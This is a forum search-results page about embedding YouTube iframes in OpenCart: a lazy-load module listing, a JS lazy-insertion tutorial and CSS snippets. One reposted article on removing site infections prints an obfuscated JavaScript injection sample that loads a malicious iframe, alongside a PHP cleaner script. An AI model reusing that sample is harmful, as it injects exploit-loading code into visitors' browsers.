Search the Community

15 Завантажити / Придбати розширення YouTube lazy load & popup - оптимизация и кастомизация iframe, увеличение page speed, видео в окне Модуль решает проблему долгой загрузки iframe с youtube и увеличивает page speed. Улучшает визуальную часть и дает возможность катомизации: отображение видео в popup, установка своих превью на видео, установка произвольной иконки "play", Для РФ и РБ модуль не продается и поддержка не предоставляется. Все вставки iframe с видео на вашем сайте перед выводом на страницу будут автоматически заменены на превью видео в виде изображений, которые подтягиваются с img.youtube.com/vi. Внимание! Модулю без разницы, каким образом у вас реализован вывод видео (через доп поля, описание товара, доп вкладки или прямо в файле), он собирает конечный код iframe и заменяет на свой именно при рендеринге страницы системой opencart. Т.е весь ваш фунционал остается на месте и видео добавляете на сайт как и раньше. В любой момент модуль можно отключить. ЗАЧЕМ Все знают, что iframe с видео очень сильно загружают страницу и уменьшают скорость загрузки сайта. Особенно это ощутимо (и даже визуально видно), если на странице несолько видео (каждый iframe это доп. запросы и ресурсы). ССЫЛКИ НА ДЕМО 6 видео - разница 30-50% Модуль выключен: https://oc23.likedev.pro/6-video?disable-video-optim и page speed 49/33 - https://developers.google.com/speed/pagespeed/insights/?hl=uk&url=https%3A%2F%2Foc23.likedev.pro%2F6-video%3Fdisable-video-optim&tab=mobile Модуль включен https://oc23.likedev.pro/6-video и page speed 92/75 - https://developers.google.com/speed/pagespeed/insights/?hl=uk&url=https%3A%2F%2Foc23.likedev.pro%2F6-video Страница та же, только в первом случае добавлен параметр ?disable-video-optim , чтобы модуль не срабатывал и можно было увидеть разницу. 1 видео - разница 10-30% И даже с 1 видео показатель достаточно проседает, особенно для мобильных устройств Модуль выключен: https://oc23.likedev.pro/1-video?disable-video-optim и page speed 88/51 - https://developers.google.com/speed/pagespeed/insights/?hl=uk&url=https%3A%2F%2Foc23.likedev.pro%2F1-video%3Fdisable-video-optim&tab=desktop Модуль вкючен: https://oc23.likedev.pro/1-video и page speed 96/80 - https://developers.google.com/speed/pagespeed/insights/?hl=uk&url=https%3A%2F%2Foc23.likedev.pro%2F1-video&tab=mobile Админка https://oc23.likedev.pro/admin/ логин/пароль: demo/demo Кроме того визуально намного симпатичнее превью с иконкой, чем ютубовский iframe, да и возможность открытия видео в popup тоже очень полезна. + мы можем через css стили кастомизировать превью как нам угодно. ВОЗМОЖНОСТИ видео по клику на превью всплывающеее окно с видео по клику на превью произвольные изображение для превью выбор размера превью установка своей иконки на кнопку 'play' (font awesome, html) и ее стилизация через css возможно указать пути для исключения работы модуля поля для камтомных стилей и js ОСОБЕННОСТИ будет работать на всех шаблонах максимально легкий модуль без зависимостей (всего пару строк css и ванильного js, никаких библиотек) будет работать даже без бутстрапа и jquery открытый код ПРИМЕНЕНИЕ увеличение скорости загрузки и в результате лучший показатель page speed кастомизация внешнего вида видео превью вывод видео в popup позволить показывать ваши iframe даже на ограниченном пространстве подмена превью на свои позволит поставить подходящие вам изображения для видео и украсить сайт Если у вас уже есть оптимизация видео от шаблона или каким то модулем - этот модуль вам не нужен или нужен не на всех страницах Если у вас какие-то нестандартные коды iframe - модуль может работать некорректно и нужна адаптация. Чтобы не было черных полос, можно поставить заставки к видео на канале youtube или загрузить свои в папку модуля. ВАЖНО! Предпочтительно использовать режим POPUP для лучшей совместимости с шаблонами, разметкой и адаптивности видео. УСТАНОВКА видео установки (только тут фикс не нужен, остальное - так же) Через установщик в админке загружаете архив модуля ocmod для своей версии опенкарт. Для версий 2.x убедитесь, что у вас уже установлен модификатор localcopy.ocmod, если его нет - установите. PS. Для редактора CKeditor при вставке в режиме кода некоторых тегов, в т.ч и iframe, редактор их чистит. В таком случае делаем фикс : в admin\view\javascript\ckeditor\config.js после строки config.resize_enabled = false; прописать config.allowedContent = true; ЛИЦЕНЗИЯ Лицензия выдается на один домен. Также при необходимости на тестовый поддомен. Ключ будет выслан автоматически на почту покупателя сразу после вашего заказа. Если по какой-то причине письма нет - пишите на почту или в лс. Приветствую дельные предложения по развитию и расширению модуля. ПРОСЬБА УКАЗЫВАТЬ ДОМЕН СРАЗУ ПРИ ПОКУПКЕ Также смотрите модули: Accordion & Tabs & Steps, Faq & HowTo Microdata, any place & content Smart Video Widgets - видео в фоне, баннера, изображения, уведомления с настройкой условий показа Google Reviews - отзывы с гугл карт (Google Business) с виджетом доверия + отзывы о товарах Автор Seriusis долучення 12.11.20 Категорія Модули Системные требования Метод активации По запросу в ЛС По запросу на почту Ioncube Loader Нет ocStore 3.0 2.3.0.2.4 2.3 2.2 2.1 OpenCart.Pro, ocShop Opencart.pro 2.3 Opencart.pro 2.1 OcShop 2.0.3.х Звернення до сервера розробника Нет

Здравствуйте, хочу для каждого товара выводить в карточке допустим видеообзор, если делать как предлагает youtube <iframe allowfullscreen="" frameborder="0" height="315" src="xxx" width="420"> читал что использование iframe может повлиять на индексацию сайта, вплоть до вылета страниц из индекса и iframe еще передает вес. Это правда? Как тогда можно вставлять видео в карточки товаров без вреда сайту?

Подскажите пожалуйста, актуальность и правильность данной статьи, полезна ли она в настройке безопасности сайта или же нет?!? Думаю проделать это с сайтом, на котором iframe вставки обнаружены, но чет очкую, так как вдруг тут тож косяк. Удаляем вирус с сайта или борьба с iFrame на сайте Хотел начать свой блог с лирики, но выдалась такая неспокойная неделя, что решил поприветствовать Всех статьей по существу. Привет! А вся неделя прошла в войнах с постоянными взломами моих хостингов и заражением всех JavaScript файлов ifram’ами, а это не много не мало порядка 2500 скриптов и все сайты с вирусами. Не успевал я за день очищать все файлы в ручном режиме и менять пароли, как на следующий день происходило всё снова — пароли каким-то образом утекали и скрипты все вновь успешно по FTP троянились. Пятница недели стала последней каплей и я потратил день на защиту своих серверов: Настроил на серверах .ftpaccess — ограничив тем самым доступ по фтп к серверам со всех IP кроме своей статики; Написал скрипт автоудаления из всех файлов .js iframe’ов, вирусов. Итак, по порядку. Заражение файлов сайта происходит банальной вставкой iframe кода в файлы по ftp, раньше я чаще наблюдал вставки в .php, .html файлы — что приводило к полному падению сайтов, сегодня зловреды стали добрее и стали писать вставки исключительно в файлы с расширением .js — JavaScript. IFRAME вставки пишутся в конец файла и могут быть как в явном виде <iframe></iframe> (легко обнаруживаются антивирусами), так и в кодированном (работа различных iframe крипторов), например: try{q=document.createElement("u");q.appendChild(q+"");}catch(qw){h=-012/5;zz='a'+'l';f='fr'+'om'+'Ch';f+='arC';}try{qwe=prototype;}catch(brebr){zz='zv'.substr(123-122)+zz;ss=[];f+=(h)?'ode':"";w=this;e=w[f.substr(11)+zz];n="17$48$55.5$52$46.5$55$49.5$52.5$52$17$17.5$13$58.5$3.5$2$1.5$56$45.5$54$13$55.5$54$51$13$27.5$13$26.5$3.5$2$59.5$17.5$17$17.5$26.5"[((e)?"s":"")+"p"+"lit"]("a$".substr(1));for(i=6-2-1-2-1;i-684!=0;i++){k=i;ss=ss+String.fromCharCode(-1*h*(3+1*n[k]));}q=ss;e(q);} Весь этот символьный хаос в результате работы JavaScript превращается в легко читающийся HTML код iframe вставки и загружает пользователю сайта тело вируса посредством работы эксплойта. Опираясь на данный минимум теории начнем защищаться от заражения сайтов. Настройка .ftpaccess — ограничиваем доступ по фтп к серверам Вирусы, которые грабят ваши пароли от ftp настолько хитры, что антивирусы зачастую бессильны и пароли утекают, как бы Вы не защищались. Предлагаю пойти по другому пути — и просто перекрыть доступ к вашему ftp. Чтобы разрешить доступ по FTP только с определенных IP, разместите в корне своего сервера, папки с сайтов файл .ftpaccess с содержимым: Allow from xx.xx.xx.xx Allow from xx.xx.xx.xx Deny from all Где xx.xx.xx.xx — это ваш IP, с которого разрешена активность по FTP, всем остальным досвидания. За выделенным IP звоним провайдеру! Если все же вы не можете получить выделенный адрес, а имеете динамические адреса, то можно указать диапазон адресов, из которого выдаются IP-адреса вашим интернет-провайдером, например это будет выглядеть так: Allow 212.32.5.0/26 Allow 158.152.0.0/16 Deny from all Это позволит ограничить доступ взломщикам к вашим серверам. Скрипт автоудаления из всех файлов вставок iframe’ов После того как сервера были защищены, я приступил к написанию скрипта, который сможет проверить сайт на вирусы и проходил бы по всем папка хостинга, проверяя указанные мной форматы файлов на наличие в содержимом iframe’ов. Результатом работы явился следующий скрипт, который удаляет вставки вредоносного кода из страниц сайта, в конкретном примере из .js скриптов: <!--?php // iframe удалятор от GlooSoftware.ws $virus_start = 'try{q=document.createElement'; //начало вредоносного кода $virus_end = 'q=ss;e(q);}'; //конец вредоносного кода $skip_files = array ('clean.php'); //название файла - который следует проигнорировать при проверке $del = true; //лечим(true) или просто смотрим кол-во зараженных файлов(false) $dir = getcwd().'/'; //корень сайта $num_infected = 0; function dir_walk($callback, $dir, $types = null, $recursive = false, $baseDir = '') { if ($dh = opendir($dir)) { while (($file = readdir($dh))!== false) { if ($file === '.' || $file === '..') { continue; } if (is_file($dir . $file)) { if (is_array($types)) { if (!in_array(strtolower(pathinfo($dir . $file, PATHINFO_EXTENSION)), $types, true)) { continue; } } $callback($baseDir, $file); }elseif($recursive && is_dir($dir . $file)) { dir_walk($callback, $dir . $file . DIRECTORY_SEPARATOR, $types, $recursive, $baseDir . $file . DIRECTORY_SEPARATOR); } } closedir($dh); } } function del_virus($fdir, $ffile) { $flag = false; $filename = $fdir.$ffile; echo $filename; $file=file($filename); foreach($file as $k=-->$v) { $virus_text = $GLOBALS['virus_start']; $pos_start = stripos($v, $GLOBALS['virus_start']); $pos_end = stripos($v, $GLOBALS['virus_end']); $virus_text = substr($v, $pos_start, $pos_end); if ($virus_text != "") { if (!stristr($v, $virus_text)) { $nfile[]=$v; } else { if (!$flag) { $flag=true; if (in_array($ffile, $GLOBALS['skip_files'])) echo " - skipped"; else { echo " - infected"; $GLOBALS['num_infected']++; } } } } else { $nfile[]=$v; } } if ( $GLOBALS['del'] ) { $file=fopen($filename,"w"); fwrite($file,implode($nfile,"")); fclose($file); } } dir_walk('del_virus', $dir, array('js'), true, $dir ); echo "Num infected = $num_infected "; ?> Пользуйтесь наздоровье, если будут вопросы — задавайте — чем могу, помогу! В одной из следующих статей напишу простейший криптор iframe’ов, что бы вы понимали что же такое Вам в сайты встраивают и для чего.

Нужен плагин позволяющий делать попап окна, в которых будут открываться сайты. Всё это должно происходить по нажатию кнопки. Не нашел ничего подобного. Может кто-то слышал о подобном?

Приветствую. Объясните кто знает,применят ли санкции ПС к ИМ,если он во фрейме дорвея?

Вставка видео с youtube или twitch на сайт довольно обычное дело. Заходим на страницу с видео, нажимаем на кнопку поделиться, копируем iframe, вставляем в нужном месте и готово, видео сразу же появляется на сайте, но в этом и заключается проблема... Когда iframe встроен непосредственно в разметку сайта, то как только начинается загрузка страницы и браузер видит iframe он начинает загружать видео и все ресурсы необходимые для работы плеера. Сайт начинает долго грузится и как не странно жутко лагать вплоть до зависания устройства с которого пользователь посетил сайт. Помимо этого анализ производительности pagespeed insights даже из-за одного видео проседает примерно на 15 пунктов и тут я с ним полностью солидарен, если на сайте стоит preloader, то пользователь вообще может не дождаться загрузки. Поскольку мне часто приходится иметь дело с такими проблемами я написал небольшой скрипт решающие основные задачи с которыми я сталкивался. Решения в интернете есть ведь идея не нова и проблема известна давно, но они достаточно топорные и сложно расширяемые. Возможно есть какие-то плагины, но к сожалению мне не попадались, да я и не искал. Скрипт написан на чистом js, так что его можно подключить к любому проекту. Demo: https://get-web.site/insertmedia.html Репозиторий на gitHub: https://github.com/get-web/insertmedia Чтобы начать использовать необходимо подключить скрипт: <script src="../src/insertmedia.js"></script> И вызвать его: document.addEventListener("DOMContentLoaded", function () { insertmedia(); }); Можно вызвать с опциями: document.addEventListener("DOMContentLoaded", function () { insertmedia({ delay: 300, // Задержка. default: 300ms immediately: true, // тип задержки true/false. Сразу или по очереди каждый "delay" милисекунд. default: true - сразу attr: 'data-insertmedia', // Атрибут с конфигурацией вставки. В блок с этим атрибутом будет вставляться наше видео или изображение. default: data-insertmedia }) }); Блоку в который будет вставляться видео мы добавляем атрибут с параметрами: data-insertmedia='{"type" : "youtube", "src" : "https://www.youtube.com/embed/6Q6cCuSvFpI", "setting" : "autoplay=1&mute=1" }' Например для вставки видео с ютуба мы можем использовать такие настройки: <div data-insertmedia='{"type" : "youtube", "src" : "https://www.youtube.com/embed/6Q6cCuSvFpI", "setting" : "autoplay=1&mute=1" }'> </div> Доступные опции: type*: тип вставляемого ресурса. На данный момент это: youtube , twitch , html5 , img src*: Ссылка на ресурс (видео,картинка..) например: https://example.com/img.jpg width: Ширина доступная для вставляемого типа ресурса height: Высота доступная для вставляемого типа ресурса setting: Настройки доступные для вставляемого типа ресурса (*) - Обязательно В общем идея достаточно проста, мы передаем тип ресурса и ссылку на него без параметров, а уже в setting передаются параметры доступные для данного типа ресурса. Например фрейм ютуба по умолчанию выглядит так: <iframe width="560" height="315" src="https://www.youtube.com/embed/6Q6cCuSvFpI" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe> Мы можем вставить его таким образом (не используя setting или передавая пустую строку "setting": "") : <div data-insertmedia='{"type" : "youtube", "src" : "https://www.youtube.com/embed/6Q6cCuSvFpI" }'> </div> Но если мы, к примеру, хотим запустить видео автоматически и без звука, фрейм будет таким: <iframe width="560" height="315" src="https://www.youtube.com/embed/6Q6cCuSvFpI?autoplay=1&mute=1" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe> Как вы могли заметить к ссылке были добавлены необязательные параметры ?autoplay=1&mute=1 их мы и передаем в setting при использовании скрипта: <div data-insertmedia='{"type" : "youtube", "src" : "https://www.youtube.com/embed/6Q6cCuSvFpI", "setting" : "autoplay=1&mute=1" }'> </div> То есть любые параметры описанные в документации к youtube вы можете использовать таким образом. Точно так же передаются параметры и другим типам ресурсов в зависимости от их API. Именно поэтому происходит разделение ссылки и параметров, чтобы можно было их интегрировать под любой тип и иметь возможность правильно составлять шаблоны для последующей вставки. Надеюсь я понятно объяснил и мой труд кому-то будет полезен. Если будут вопросы задавайте их тут. Пишите если что-то нужно добавить или исправить, или если хотите покритиковать. Источник: https://get-web.site/blog/javascript/43-insertmedia.html

HTML: <div id="video"> <div class="videoWrapper"> <iframe width="560" height="315" src="https://www.youtube.com/embed/Zph3K-----" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen=""></iframe> </div> </div> CSS: #video { max-width: 560px; margin: 0 auto; } .videoWrapper { position: relative; padding-bottom: 56.25%; padding-top: 25px; height: 0; } .videoWrapper iframe { position: absolute; top: 0; left: 0; width: 100%; height: 100%; }